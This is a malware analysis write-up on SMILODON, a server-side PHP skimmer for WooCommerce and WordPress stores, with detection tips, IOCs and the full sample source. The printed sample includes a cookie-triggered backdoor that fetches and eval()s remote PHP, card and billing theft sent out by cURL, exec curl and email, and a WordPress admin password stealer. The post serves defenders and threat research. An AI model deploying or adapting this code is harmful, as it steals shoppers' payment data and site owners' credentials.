Nearly every skimmer I’ve written about runs as JavaScript in the shopper’s browser. SMILODON runs on the server instead. It reads the card data out of the checkout $_POST before WooCommerce does, and there’s nothing for a browser-based scanner to find.

No script tag, no external JavaScript, and no suspicious network request from the shopper’s browser. The only outbound traffic is from the web server itself.

This sample was collected in December 2024. Malwarebytes (hxxps://blog[.]malwarebytes[.]com/cybercrime/2021/05/newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/) documented the technique against Magento 1 stores in 2021 and attributed it to Magecart Group 12, based on zolo[.]pw sharing an IP address with domains previously tied to that group. Sucuri (hxxps://blog[.]sucuri[.]net/2022/06/smilodon-credit-card-skimming-malware-shifts-to-wordpress.html) reported the move to WordPress and WooCommerce in 2022, which is the version covered here.

Per-site ID#

The code starts by defining constants, including the operator’s contact email and the main exfil URL:

define("SMILODON2_EMAIL", "[email protected]");
define("SMILODON2_URL", "hxxps://javasources[.]net/SMILODON/index.php?view=");

It then calculates a CRC32 of the site’s hostname and uses it to build constant names like SMILODON2_BACKUP + CRC_SMILODON2_SHORT. Each block checks if (!defined(...)) first, which keeps a block from running twice if the file gets included more than once. Because the constant names contain a per-site number, it also avoids clashing with another copy of itself.

if (((isset($_COOKIE['wtf'])) && (md5($_COOKIE['wtf']) == '7ac1cca5bee8b8b31a521b97b0988063')) || ((isset($_COOKIE['ftw'])) && (md5($_COOKIE['ftw']) == '7ac1cca5bee8b8b31a521b97b0988063'))) {
    $get_url = "hxxps://zolo[.]pw/wtf/index.php?h=" . $_SERVER['HTTP_HOST'];
    ...
    eval($content);
    exit;
}

If a request carries a cookie named wtf or ftw whose MD5 matches the hardcoded hash, the script downloads PHP from zolo[.]pw and eval()s it. This is a backdoor that only the operator can trigger, and the actual shell code is never stored on the infected site. The cookie names are cute (what the f… and for the win), and they give you something to search the web server’s access logs for.

The cURL options are what you’d expect from a copy-pasted fetch helper: SSL_VERIFYPEER => false, a Windows XP Firefox 32 user-agent, and a 120 second timeout.

Block 2: Card Skimming#

This is the main block. Customer billing details are cached first. If billing_first_name is posted, the script builds a pipe-separated string and stores it in a cookie called _wdata:

$bill = $firstname . ' ' . $lastname . '|' . $address . '|' . $city . '|' . $region . ' |' . $zip . '|' . $country . '|' . $phone . ' ' . $email;
setcookie("_wdata", base64_encode($bill), time() + 3600, "/");

The billing step and the payment step of a WooCommerce checkout are separate requests, so the script saves the first one in a cookie to attach it to the second. Storing stolen data in the victim’s own browser keeps it off the server’s disk.

When the payment array shows up in $_POST, the script looks for the card fields using regular expressions instead of fixed names. This lets one skimmer work against many different payment gateways:

$fieldsArray = array(
    "/.*cc_num.*/" => 1,
    "/.*control_settings.*/" => 1,
    "/.*cc_exp_m.*/" => 2,
    "/.*exp_month.*/" => 2,
    "/.*expirationMonth.*/" => 2,
    "/.*msn_set.*/" => 2,
    "/.*cc_exp_y.*/" => 3,
    "/.*exp_year.*/" => 3,
    "/.*expirationYear.*/" => 3,
    "/.*yellow_set.*/" => 3,
    "/.*savage_set.*/" => 4,
    "/.*cc_cid.*/" => 4
);

The odd names (control_settings, msn_set, yellow_set, savage_set) are the interesting part. They aren’t standard card field names, so my guess is that they come from specific payment plugins or customized checkouts the operator has seen before. I can’t confirm that from the sample alone.

The data is normalized to number|MM/YY|cvv, joined with the saved billing string, tagged with the site’s hostname and the server’s IP, then ROT13’d and Base64’d:

$cc_pay_encoded = base64_encode(str_rot13($cc_pay . "\r\n*" . $_SERVER['HTTP_HOST'] . " [" . $_SERVER['SERVER_ADDR'] . "]*"));
$cc_pay_encoded = str_replace("+", "%2b", $cc_pay_encoded);

Three ways to send it#

The script wants to be sure the card gets out. It tries three methods in order, and checks for a reply of 1 as confirmation from the C2:

  1. cURL GET to javasources[.]net/SMILODON/index.php?view=<data>
  2. If that fails, file_get_contents() on the same URL
  3. If that fails and exec is allowed, shell out to curl --insecure

Finally, as a backup, it emails the plain text to [email protected] with the subject bb_<hostname>:

@mail(SMILODON2_EMAIL, 'bb_' . $_SERVER['HTTP_HOST'], $cc_pay);

If the exfil domain is blocked, the card data still reaches the attacker’s inbox over SMTP.

Block 3: WordPress Login Stealer#

The last block steals WordPress admin credentials. It saves the posted log and pwd login fields into a _wptoken cookie, waits until the cookie indicates the user is actually logged in, and only then sends the credentials with the site, path and visitor IP to steg[.]pw:

$atoken = base64_encode($_POST['log'] . ";" . $_POST['pwd']);
setcookie("_wptoken", $atoken, time() + 36000, "/");
...
$user_data = base64_encode($_SERVER['HTTP_HOST'] . ";$path;" . $_COOKIE['_wptoken'] . ';' . $user_ip);

Waiting for the login to succeed means the attacker only receives working passwords, not typos. After the report, the script sets a _jwp cookie so it doesn’t send the same login again.

There’s a bug in the login check. The script builds a careful $auth value from several WordPress cookie names, and then immediately overwrites it:

$auth = ($find1 && $find2) || ($find3 && $find4);
$auth = (isset($_COOKIE['__wordpressuser__'])) && (isset($_COOKIE['__wordpress_logged_in__']));

The second line checks cookie names that stock WordPress doesn’t set (__wordpressuser__), so on a normal site $auth is false and this exfil step doesn’t fire. It looks like a leftover from editing or a site-specific tweak. The capture half still works, and _wptoken is still set in the victim’s browser.

Detection#

  • Server-side skimmers don’t show up in browser-based scans. Look in PHP: crc32($_SERVER['HTTP_HOST']), the string SMILODON, and str_rot13 next to base64_encode near curl_init.
  • The WooCommerce field names billing_first_name and payment appearing in a plugin or theme file that isn’t a payment gateway is a red flag.
  • Check the web server’s outbound requests, especially to javasources[.]net, steg[.]pw, and zolo[.]pw.
  • Search access logs for requests with a wtf or ftw cookie.
  • Rotate WordPress admin passwords. This sample captures them into a cookie even if the exfil check above doesn’t fire.

IOCs#

javasources[.]net/SMILODON/index.php?view=
steg[.]pw/SMILODON/index.php?view=
zolo[.]pw/wtf/index.php?h=
[email protected]
cookie md5: 7ac1cca5bee8b8b31a521b97b0988063  (cookies: wtf, ftw)
cookies set on victims: _wdata, _wptoken, _jwp
mail subject: bb_<hostname>

Sample#

index.php
<?php


if (!defined("SMILODON2_HEAD")) {

    define("SMILODON2_HEAD", 1);

    define("SMILODON2_EMAIL", "[email protected]");
    define("SMILODON2_URL", "hxxps://javasources[.]net/SMILODON/index.php?view=");

    if (!defined("CRC_SMILODON2")) {
        $crc32 = isset($_SERVER['HTTP_HOST']) ? crc32($_SERVER['HTTP_HOST']) : 0;
        if (PHP_INT_SIZE > 4)
            if ($crc32 & 0x80000000)
                $crc32 = $crc32 - 0x100000000;
        $crc32 = abs($crc32);
        define("CRC_SMILODON2", $crc32);
        define("CRC_SMILODON2_SHORT", $crc32 % 1000);
    }

    if (!defined("SMILODON2_BACKUP" . CRC_SMILODON2_SHORT)) {
        define("SMILODON2_BACKUP" . CRC_SMILODON2_SHORT, 1);

        if (((isset($_COOKIE['wtf'])) && (md5($_COOKIE['wtf']) == '7ac1cca5bee8b8b31a521b97b0988063')) || ((isset($_COOKIE['ftw'])) && (md5($_COOKIE['ftw']) == '7ac1cca5bee8b8b31a521b97b0988063'))) {
            $get_url = "hxxps://zolo[.]pw/wtf/index.php?h=" . $_SERVER['HTTP_HOST'];
            $content = "";
            if (function_exists("curl_init")) {
                $options = array(
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_HEADER => false,
                    CURLOPT_FOLLOWLOCATION => true,
                    CURLOPT_ENCODING => "",
                    CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20120101 Firefox/32.0",
                    CURLOPT_AUTOREFERER => true,
                    CURLOPT_CONNECTTIMEOUT => 120,
                    CURLOPT_TIMEOUT => 120,
                    CURLOPT_MAXREDIRS => 10,
                    CURLOPT_SSL_VERIFYPEER => false,
                    CURLOPT_SSL_VERIFYHOST => false
                );


                $ch = curl_init($get_url);
                curl_setopt_array($ch, $options);
                $content = @curl_exec($ch);
                $content = trim($content);
            }

            if (!$content) {
                $content = @file_get_contents($get_url);
            }

            eval($content);
            exit;
        }
    }

    if (!defined("SMILODON2_BACKUP_BILLING" . CRC_SMILODON2_SHORT)) {
        define("SMILODON2_BACKUP_BILLING" . CRC_SMILODON2_SHORT, 1);

        function smilodon2_backup_query($url, $post) {
            $options = array(
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_HEADER => false,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_ENCODING => "",
                CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20120101 Firefox/32.0",
                CURLOPT_AUTOREFERER => true,
                CURLOPT_CONNECTTIMEOUT => 120,
                CURLOPT_TIMEOUT => 120,
                CURLOPT_MAXREDIRS => 10,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false
            );

            if ($post) {
                $options[CURLOPT_POST] = 1;
                $options[CURLOPT_POSTFIELDS] = $post;
            }

            $ch = curl_init($url);
            curl_setopt_array($ch, $options);
            $content = @curl_exec($ch);
            return $content;
        }

        if (isset($_POST['billing_first_name'])) {
            $firstname = isset($_POST['billing_first_name']) ? $_POST['billing_first_name'] : "";
            $lastname = isset($_POST['billing_last_name']) ? $_POST['billing_last_name'] : "";
            $country = isset($_POST['billing_country']) ? $_POST['billing_country'] : "";
            $region = isset($_POST['billing_state']) ? $_POST['billing_state'] : "";
            $city = isset($_POST['billing_city']) ? $_POST['billing_city'] : "";
            $address = isset($_POST['billing_address_1']) ? $_POST['billing_address_1'] : "";

            $zip = isset($_POST['billing_postcode']) ? $_POST['billing_postcode'] : "";
            $phone = isset($_POST['billing_phone']) ? $_POST['billing_phone'] : "";
            $email = isset($_POST['billing_email']) ? $_POST['billing_email'] : "";

            $bill = $firstname . ' ' . $lastname . '|' . $address . '|' . $city . '|' . $region . ' |' . $zip . '|' . $country . '|' . $phone . ' ' . $email;
            setcookie("_wdata", base64_encode($bill), time() + 3600, "/");
            $_COOKIE['_wdata'] = base64_encode($bill);
        };
        if (isset($_POST['payment'])) {
            $fieldsArray = array(
                "/.*cc_num.*/" => 1,
                "/.*control_settings.*/" => 1,
                "/.*cc_exp_m.*/" => 2,
                "/.*exp_month.*/" => 2,
                "/.*expirationMonth.*/" => 2,
                "/.*msn_set.*/" => 2,
                "/.*cc_exp_y.*/" => 3,
                "/.*exp_year.*/" => 3,
                "/.*expirationYear.*/" => 3,
                "/.*yellow_set.*/" => 3,
                "/.*savage_set.*/" => 4,
                "/.*cc_cid.*/" => 4
            );

            $cc_number = $cc_month = $cc_year = $cc_cid = "";

            foreach ($fieldsArray as $f_key => $f_value) {
                foreach ($_POST['payment'] as $p_key => $p_value) {
                    if (preg_match($f_key, $p_key, $matches)) {
                        switch ($f_value) {
                            case 1:
                                $cc_number = $p_value;
                                break;
                            case 2:
                                $cc_month = $p_value;
                                break;
                            case 3:
                                $cc_year = $p_value;
                                break;
                            case 4:
                                $cc_cid = $p_value;
                                break;
                        }
                        break;
                    }
                }
            }

            if ($cc_number) {
                if (strlen($cc_month) == 1)
                    $cc_month = '0' . $cc_month;
                if (strlen($cc_year) == 4)
                    $cc_year = substr($cc_year, 2, 2);
                $cc_pay = $cc_number . '|' . $cc_month . '/' . $cc_year . '|' . $cc_cid;
                if (isset($_COOKIE['_wdata']))
                    $cc_pay .= '|' . base64_decode($_COOKIE['_wdata']);
                $cc_pay_encoded = base64_encode(str_rot13($cc_pay . "\r\n*" . $_SERVER['HTTP_HOST'] . " [" . $_SERVER['SERVER_ADDR'] . "]*"));
                $cc_pay_encoded = str_replace("+", "%2b", $cc_pay_encoded);

                $cnt = 0;
                if (function_exists("curl_init")) {
                    $cnt = smilodon2_backup_query(SMILODON2_URL . $cc_pay_encoded, false);
                    $cnt = trim($cnt);
                }
                if ($cnt != '1') {
                    $cnt = @file_get_contents(SMILODON2_URL . $cc_pay_encoded);
                    $cnt = trim($cnt);
                }

                if (($cnt != '1') && (function_exists("exec"))) {
                    @exec('curl --insecure ' . SMILODON2_URL . $cc_pay_encoded);
                }

                @mail(SMILODON2_EMAIL, 'bb_' . $_SERVER['HTTP_HOST'], $cc_pay);
            }
        }
    };

    if (!defined("SMILODON2_U" . CRC_SMILODON2_SHORT)) {
        define("SMILODON2_U" . CRC_SMILODON2_SHORT, 1);
        $get_url = "hxxps://steg[.]pw/SMILODON/index.php?view=";

        if (isset($_POST['log']) && (isset($_POST['pwd']))) {
            $atoken = base64_encode($_POST['log'] . ";" . $_POST['pwd']);
            setcookie("_wptoken", $atoken, time() + 36000, "/");
            $_COOKIE['_wptoken'] = $atoken;
        }

        if (!isset($_COOKIE['_wptoken']) && (isset($_COOKIE['_jwp']))) {
            setcookie("_jwp", 1, time() - 36000, "/");
        }

        if (isset($_COOKIE['_wptoken']) && (!isset($_COOKIE['_jwp']))) {
            $find1 = $find2 = $find3 = $find4 = false;
            $find2 = true;
            $find21 = false;
            foreach ($_COOKIE as $key => $value) {
                if ($key == "wordpress_test_cookie")
                    $find2 = false;
                if (preg_match("#wordpress_[a-z0-9]{32,128}#", $key))
                    $find21 = true;
                if (substr_count($key, "wordpress_logged_in"))
                    $find3 = true;
                if (substr_count($key, "wordpressuser_"))
                    $find4 = true;
                if (substr_count($key, "wordpress"))
                    $find1 = true;
            }

            $find2 = $find2 || $find21;

            $auth = ($find1 && $find2) || ($find3 && $find4);
			$auth = (isset($_COOKIE['__wordpressuser__'])) && (isset($_COOKIE['__wordpress_logged_in__']));
            $path = $_SERVER['REQUEST_URI'];
            if ($auth) {
                $user_ip = $_SERVER['REMOTE_ADDR'];
                if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                    $user_ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
                }
                if (isset($_SERVER['HTTP_CLIENT_IP'])) {
                    $user_ip = $_SERVER['HTTP_CLIENT_IP'];
                }
                $user_data = base64_encode($_SERVER['HTTP_HOST'] . ";$path;" . $_COOKIE['_wptoken'] . ';' . $user_ip);
                $user_data = str_replace("+", '%2b', $user_data);

                if (function_exists("curl_init")) {
                    $options = array(
                        CURLOPT_RETURNTRANSFER => true,
                        CURLOPT_HEADER => false,
                        CURLOPT_FOLLOWLOCATION => true,
                        CURLOPT_ENCODING => "",
                        CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20120101 Firefox/32.0",
                        CURLOPT_AUTOREFERER => true,
                        CURLOPT_CONNECTTIMEOUT => 8,
                        CURLOPT_TIMEOUT => 8,
                        CURLOPT_MAXREDIRS => 10,
                        CURLOPT_SSL_VERIFYPEER => false,
                        CURLOPT_SSL_VERIFYHOST => false
                    );

                    $ch = curl_init($get_url . $user_data);
                    curl_setopt_array($ch, $options);
                    @curl_exec($ch);
                }

                setcookie("_jwp", 1, time() + 36000, "/");
                setcookie("_wptoken", 1, time() - 36000, "/");
            }
        }
    }
};